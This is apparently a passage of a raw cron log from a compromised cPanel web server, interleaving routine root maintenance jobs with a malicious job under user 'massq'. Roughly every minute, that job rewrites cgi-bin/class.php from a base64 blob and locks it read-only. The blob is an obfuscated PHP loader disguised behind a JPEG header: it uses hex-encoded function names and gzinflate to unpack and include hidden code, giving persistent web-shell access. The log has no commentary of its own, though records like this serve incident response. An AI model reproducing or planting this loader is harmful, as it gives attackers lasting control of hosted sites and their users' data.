0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:42:01 server CROND[30948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:42:01 server CROND[30949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:42:01 server CROND[30950]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 10:42:01 server CROND[30951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:43:01 server CROND[31337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:43:01 server CROND[31339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:43:01 server CROND[31338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:44:01 server CROND[31740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:44:01 server CROND[31741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:44:01 server CROND[31742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:45:01 server CROND[32133]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 10:45:01 server CROND[32134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:45:01 server CROND[32135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:45:01 server CROND[32137]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:45:01 server CROND[32140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:45:01 server CROND[32143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:45:01 server CROND[32141]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 10:46:01 server CROND[671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:46:01 server CROND[672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:46:01 server CROND[673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:47:01 server CROND[1132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:47:01 server CROND[1133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:47:01 server CROND[1134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:48:01 server CROND[1563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:48:01 server CROND[1564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:48:01 server CROND[1565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:49:01 server CROND[1978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:49:01 server CROND[1994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:49:01 server CROND[1995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:50:01 server CROND[2415]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 10:50:01 server CROND[2416]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 10:50:01 server CROND[2417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:50:01 server CROND[2421]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 10:50:01 server CROND[2431]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:50:01 server CROND[2434]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 10:50:01 server CROND[2438]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:50:01 server CROND[2437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:50:01 server CROND[2433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:51:01 server CROND[3389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:51:01 server CROND[3390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:51:01 server CROND[3391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:52:01 server CROND[3774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:52:01 server CROND[3775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:52:01 server CROND[3776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:53:01 server CROND[4151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:53:01 server CROND[4152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:53:01 server CROND[4153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:54:01 server CROND[4536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:54:01 server CROND[4537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
